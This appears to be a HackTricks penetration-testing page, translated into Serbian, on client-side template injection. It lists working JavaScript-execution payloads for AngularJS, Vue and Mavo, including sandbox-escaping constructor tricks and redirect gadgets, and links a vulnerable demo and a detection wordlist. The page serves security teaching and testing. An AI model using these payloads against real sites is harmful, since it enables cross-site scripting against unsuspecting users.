Client Side Template Injection (CSTI)

Reading time: 4 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Summary

To je kao Server Side Template Injection ali na klijentu. SSTI može omogućiti izvršavanje koda na udaljenom serveru, dok CSTI može omogućiti izvršavanje proizvoljnog JavaScript koda u pretraživaču žrtve.

Testiranje za ovu ranjivost je veoma slično kao u slučaju SSTI, interpreter očekuje šablon i izvršiće ga. Na primer, sa payload-om kao što je {{ 7-7 }}, ako je aplikacija ranjiva videćete 0, a ako nije, videćete original: {{ 7-7 }}

AngularJS

AngularJS je široko korišćen JavaScript okvir koji interaguje sa HTML-om kroz atribute poznate kao direktive, a jedna od značajnih je ng-app. Ova direktiva omogućava AngularJS-u da obradi HTML sadržaj, omogućavajući izvršavanje JavaScript izraza unutar dvostrukih vitičastih zagrada.

U scenarijima gde se korisnički unos dinamički ubacuje u HTML telo označeno sa ng-app, moguće je izvršiti proizvoljan JavaScript kod. To se može postići korišćenjem sintakse AngularJS-a unutar unosa. Ispod su primeri koji pokazuju kako se JavaScript kod može izvršiti:

javascript
{{$on.constructor('alert(1)')()}}
{{constructor.constructor('alert(1)')()}}
<input ng-focus=$event.view.alert('XSS')>

<!-- Google Research - AngularJS -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>

Možete pronaći vrlo osnovni online primer ranjivosti u AngularJS na http://jsfiddle.net/2zs2yv7o/ i u Burp Suite Academy

[!CAUTION] > Angular 1.6 je uklonio sandbox tako da od ove verzije payload poput {{constructor.constructor('alert(1)')()}} ili <input ng-focus=$event.view.alert('XSS')> treba da radi.

VueJS

Možete pronaći ranjivu Vue implementaciju na https://vue-client-side-template-injection-example.azu.now.sh/
Funkcionalni payload: https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%

I izvorni kod ranjivog primera ovde: https://github.com/azu/vue-client-side-template-injection-example

html
<!-- Google Research - Vue.js-->
"><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>

Stvarno dobar post o CSTI u VUE može se naći na https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets

V3

{{_openBlock.constructor('alert(1)')()}}

Kredit: Gareth Heyes, Lewis Ardern & PwnFunction

V2

{{constructor.constructor('alert(1)')()}}

Kredit: Mario Heiderich

Pogledajte više VUE payload-a na https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected

Mavo

Payload:

[7*7]
[(1,alert)(1)]
<div mv-expressions="{{ }}">{{top.alert(1)}}</div>
[self.alert(1)]
javascript:alert(1)%252f%252f..%252fcss-images
[Omglol mod 1 mod self.alert (1) andlol]
[''=''or self.alert(lol)]
<a data-mv-if='1 or self.alert(1)'>test</a>
<div data-mv-expressions="lolx lolx">lolxself.alert('lol')lolx</div>
<a href=[javascript&':alert(1)']>test</a>
[self.alert(1)mod1]

Više payload-a u https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations

Lista za detekciju brute-force-a

Auto_Wordlists/wordlists/ssti.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks